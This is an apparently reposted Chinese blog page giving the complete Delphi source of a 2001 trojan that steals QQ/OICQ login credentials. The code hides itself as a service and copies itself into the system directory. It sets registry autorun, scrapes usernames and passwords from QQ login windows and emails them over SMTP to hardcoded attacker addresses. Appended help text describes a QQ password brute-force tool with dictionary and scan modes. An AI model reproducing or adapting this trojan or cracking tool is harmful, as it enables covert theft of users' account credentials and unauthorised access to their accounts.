OICQ 远程木马的设计技术

{
 ****************** OICQ Hack 2001***********
 *
 *     2001 5.22         ver 1.1  Modify for OICQ2000b 0230
 *     2001 5.25         ver 1.2  Modify for QQ2000b 0430
 *     Last updated: 2001.5.25
 *     Author :njhhack
 *             HackSoft Research Lab.
 *     Copyright(C) 2001 Allrigths Reserved.
 *
 *
 **********************************************
}

//---------------下面是oicqhack.dpr工程文件
program oicqhack;

uses
 Windows,
 Messages,
 mainunit in 'mainunit.pas';

 {$R *.RES}

var
 wClass:   TWndClass;  // class struct for main window
 Msg:      TMSG;       // message struct

procedure ShutDown;
begin
 UnRegisterClass(classname,hInst);
 ExitProcess(hInst);   //end program
end;

function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall;
begin
 Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
 case Msg of
 WM_CREATE: wincreate;
 WM_TIMER: ontimer1;
 WM_DESTROY: ShutDown;
 end;
end;

begin
 //如果旧版本已运行,则停止旧版程序,只运行当前新版程序
 hmain:=Findwindow('HackSoft-Oicq-Password-Recoder','OICQ 密码记录器2');
 if hmain<>0 then sendmessage(lp,wm_destroy,0,0);


 hInst:=GetModuleHandle(nil); // get the application instance
 classname:='HackSoft-Oicq-Password-Recoder';
 with wClass do
 begin
   Style:=         CS_PARENTDC;
   hIcon:=         LoadIcon(hInst,'MAINICON');
   lpfnWndProc:=   @WindowProc;
   hInstance:=     hInst;
   hbrBackground:= COLOR_BTNFACE+1;
   lpszClassName:= classname;
   hCursor:=       LoadCursor(0,IDC_ARROW);
 end;
 RegisterClass(wClass);
 hmain:=CreateWindowEx(WS_EX_TOOLWINDOW,classname,'OICQ 密码记录器3',WS_OVERLAPPEDWINDOW,10,10,120,80,0,0,hInst,nil);
 //建立一个新的定时器,用来定时扫描系统中的窗口
 newtime:=SetTimer(hmain,0,300,nil);
 //建立消息循环
 while(GetMessage(Msg,hmain,0,0))do
 begin
   TranslateMessage(Msg);
   DispatchMessage(Msg);
 end;
 //结束定时器
 killtimer(hmain,newtime);
end.

//-------下面是mainunit.pas单元文件

unit mainunit;

interface

uses
 Windows,
 Messages,
 SysUtils,
 Classes,
 winsock,
 registry;
const
 CRLF=#13#10;
var
 spy:string;
 hinst,hmain,newtime,count,start,max,fhand,old,olde,lp:integer;
 his:array[0..100] of integer;
 syspath:array[0..200] of integer;
 regservice:function(uThread:integer;uType:integer):Integer;stdcall;
 libhandle:thandle;
 classname:array[0..100] of char;
 items:array[0..4] of string;

 err:integer;
 wsadata:twsadata;
 fsocket,fport,step:integer;
 SockAddrIn:TSockAddrIn;
 hackmail,email,newpass,fhost,s1,password:string;
 sbuf:array[0..1024] of char;

procedure winCreate;
procedure OnTimer1;

implementation

//修改注册表让程序自启动
procedure autorun;
var reg:tregistry;
begin
   reg:=tregistry.create;
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey('SOFTWARE/Microsoft/Windows/CurrentVersion/Run',true);
   reg.WriteString('oicqpass',spy+'OICQPASS.EXE');
   reg.closekey;
   reg.free;
end;

//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱
procedure MailSend;
begin
 err:=recv(FSocket,sbuf,400,0);
 s1:=strpas(sbuf);
 inc(step);
 case step of
   1:s1:='HELO smtp.hacker.com'+CRLF;
   2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
   3:s1:='RCPT TO: <'+email+'>'+CRLF;
   4:s1:='DATA'+CRLF;
   5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF
         +'To:"getoicq"<www.password.com>'+CRLF
         +'Subject:QQ2001 Password come.'+CRLF
         +CRLF
         +newpass+CRLF
         +'.'+CRLF;
   6:s1:='QUIT'+CRLF;
 else
   step:=0;
 end;
 strcopy(sbuf,pchar(s1));
 err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
end;
//发信主过程
procedure SendPass;
begin
   err:=WSAStartup($0101,WSAData);
   FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
   //利用  smtp.21cn.com  进行发信
   fhost:='202.104.32.230';
   fport:=25;
   SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
   SockAddrIn.sin_family := PF_INET;
   SockAddrIn.sin_port :=htons(Fport);
   err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
     step:=0;
     repeat
       MailSend;
     until step=0;
   err:=closesocket(FSocket);
   err:=WSACleanup;
end;


//窗口枚举函数
function lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;
var hw,hwold,hs,wlong,hup,i:integer;
   sbuf,sb3,sb2:array[0..256] of char;
   sb1:string;
begin
   hwold:=GetParent(hwnd);
   wlong:=GetWindowLong(hwnd,GWL_STYLE);
   if (wlong and ES_PASSWORD)<>0 then
   begin
       //检查是否OICQ登陆
       hup:=GetParent(hwnd);
       sendmessage(hup,wm_gettext,100,integer(@sbuf));
       strpcopy(sb2,'OICQ 注册向导');
       strpcopy(sb3,'QQ 注册向导');
       if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
       begin
           old:=GetParent(hup);
           old:=GetParent(old);
           old:=GetParent(old);
           start:=0;
           count:=1;
           //items.clear;

           //跳过两个窗口
           hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
           hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
           //取得用户名
           hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
           hw:=GetWindowTextLength(hwnd);
           hs:=integer(@sbuf);
           sendmessage(hwnd,wm_gettext,100,hs);
           items[0]:='用户名:'+strpas(sbuf);
           //取得密码
           hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
           hw:=GetWindowTextLength(hwnd);
           hs:=integer(@sbuf);
           sendmessage(hwnd,wm_gettext,100,hs);
           items[1]:='密码:'+strpas(sbuf);
       end;
       strpcopy(sb2,'OICQ用户登录');
       strpcopy(sb3,'QQ用户登录');
       if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
       begin
           old:=GetParent(hup);
           old:=GetParent(old);
           start:=0;
           count:=1;
           //items.clear;
           //取得用户名
           hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
           hw:=GetWindowTextLength(hwnd);
           hs:=integer(@sbuf);
           sendmessage(hwnd,wm_gettext,100,hs);
           items[0]:='用户名:'+strpas(sbuf);
           //取得密码
           hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
           hw:=GetWindowTextLength(hwnd);
           hs:=integer(@sbuf);
           sendmessage(hwnd,wm_gettext,100,hs);
           items[1]:='密码:'+strpas(sbuf);
       end;
   end;
//检查是否在线
   hw:=GetWindowTextLength(hwnd);
   hs:=integer(@sbuf);
   sendmessage(hwnd,wm_gettext,100,hs);
   strpcopy(sb2,'在线');
   strpcopy(sb3,'隐身');
   if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
   begin
       if hwold=old then
       begin
           if olde<>old then
           begin
               if strcomp(sbuf,sb2)=0 then items[2]:='登录成功:在线'
               else items[2]:='登录成功:隐身';
               items[3]:='       ';
               //密码发回我的邮箱getoicq@21cn.com

               newpass:=format('%s  %s  %s  %s',[items[0],items[1],items[2],items[3],items[4]);
               //
               hackmail:=email;
               sendpass;
               email:='mf001@etang.com';
               sendpass;
               email:=hackmail;

               //密码存盘到oicqpass.dll中

               {
               if fileexists(spy+'oicqpass.dll')=false then fhand:=filecreate(spy+'oicqpass.dll')
               else fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite);
               if fileexists(spy+'oicqpass.dll')=false then fhand:=filecreate(spy+'oicqpass.dll')
               else fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite);
               fileseek(fhand,0,2);
               strpcopy(sbuf,items[0]+#13#10+items[1]+#13#10+items[2]+#13#10+items[3]+#13#10);
               filewrite(fhand,sbuf,strlen(sbuf));
               fileclose(fhand);
               }
           end;
           olde:=old;
       end;
   end;
   result:=true;
end;

定时器响应函数
procedure OnTimer1;
begin
    lp:=0;
    EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
end;
//窗口创建响应函数
procedure winCreate;
var wlong:integer;
s1:string;
s2,s3,sbuf:array[0..300] of char;
i:integer;
osver:TOSVERSIONINFO;
tmp:tmemorystream;
begin
   //取得操作系统版本信息,若为win9x则注册为服务进程而隐身,nt下无此功能
   osver.dwOSVersionInfoSize:=sizeof(TOSVERSIONINFO);
   if GetVersionEx(osver)=true then
   begin
       if VER_PLATFORM_WIN32_NT<>osver.dwPlatformId then
       begin
           LibHandle:=LoadLibrary('kernel32.dll');
           if LibHandle<>0 then
           begin
               @regservice:=GetProcAddress(LibHandle, 'RegisterServiceProcess');
               regservice(0,1);//1=hide,0=show;
               FreeLibrary(LibHandle);
           end;
       end;
   end;
   max:=0;
   count:=0;
   将程序复制到系统目录
   s1:=ParamStr(0);
   for i:=0 to length(s1) do s2:=s1[i+1];
   GetSystemDirectory(@syspath,MAX_PATH);
   spy:=strpas(@syspath)+'/';
   s1:=spy+'oicqhack.exe';
   for i:=0 to length(s1) do s3:=s1[i+1];
   copyfile(s2,s3,false);
   //从email.txt中找到目标e-mail信箱
   if fileexists('c:/email.txt')=false then
   begin
     email:='getoicq@21cn.com';
   end else
   begin
     tmp:=tmemorystream.create;;
     tmp.loadfromfile('c:/email.txt');
     count:=tmp.size;
//      strcopy(sbuf,pchar(''));
     tmp.read(sbuf,count);
     tmp.free;
     email:='';
     for step:=0 to count-1 do email:=email+sbuf[step];
     strcopy(sbuf,pchar(email));
//      messagebox(0,sbuf,'',0);
   end;
   count:=0;
   step:=0;
   //修改注册表使程序自启动
   autorun;
end;

end.


/
             --------倪建华---------------
               HackSoft Research Lab.
       Copyright(C) 2001 Alrights reserved.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
CK 1.2 B时间:2001-12-02 06:14来源:中国网管联盟作者:bitsCN编辑字体:[大 中 小]电脑诊所出品 正式版 1.2 B 使用帮助: From: [10001] To:[10009] 此栏为扫描的 OICQ 号码范围,选中 [V] Scan Mode 即可开启扫描模式进行多号码探测,缺省为单个号码探测模式. 注意:扫描模式第一轮密码是低速探测,因此会较慢;之后将自动开启高速扫描智能跳过不存在的空号,探测速度最高可达每秒100次. Uin File: [Uin.dic] 此栏填写OICQ号码列表文件路径以及文件名,号码列表文件格式请参照 uin.dic ,选中 [V] Uin File 即可开启号码文件列表模式,读取列表文件中OICQ号码进行密码探测. Dict Path: [Password.dic] 此栏填写密码字典路径以及文件名,密码列表文件格式请参照 password.dic ,选中 [V] Password File 即可开启密码字典模式,进行常用密码探测,缺省为 Brute Force 暴力破解. [V] 0123456789 [. .] abcdefghijklmnopqrstuvwxyz [. .] ABCDEFGHIJKLMNOPQRSTUVWXYZ [. .] .,;:?! -*/@$#%"amp;|\~`^'"quot;_"lt;"gt;()[]{} 此处选取 Brute Force 密码范围. Password Length: [3] 此处选取 Brute Force 密码长度. 注意:以下设置建议使用默认值. Max Threads: [ 16 ] 最大并发连接线程数,与探测速度和超时错误率成正比,取值视机器性能而定. 54com.cn Timeout: [ 32 ] 超时等待时间,单位秒,与超时错误率和探测速度成反比,取值视你的耐心而定. SP: 既非扫描模式也非号码文件列表模式的单号码探测由于受到服务器登陆时间限制会很慢,只能达到每秒1次,因此应尽量将待测号码做成列表文件进行批量探测。在批量扫描探测加密码字典模式下适当选取线程超时值能提高效率,最快可高达每秒100次.字典可以用配套工具GoldKey生成,它可以自定义字典中密码8位以内每一位密码的字符,当然也包括中文密码. ETC: 此软件只被授权用于取回使用者遗失的OICQ密码,严禁用于破解他人帐号,否则一切后果由使用者自己承担. 为避免本工具被用于非法用途,未注册前扫描模式与号码列表模式将被禁用,若有特殊用途需要启用高速扫描模式,请发一封标题为注册的电子邮件到 oicqhack@china.com 注册您的软件,邮件必须附上您自己的软件序列号码(参见OicqHack启动时Serial一栏),并且请在邮件中注明您的呢称,职业,年龄,性别,职业,OICQ号码等详细资料以及本软件的用途,您会很快收到答复.
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值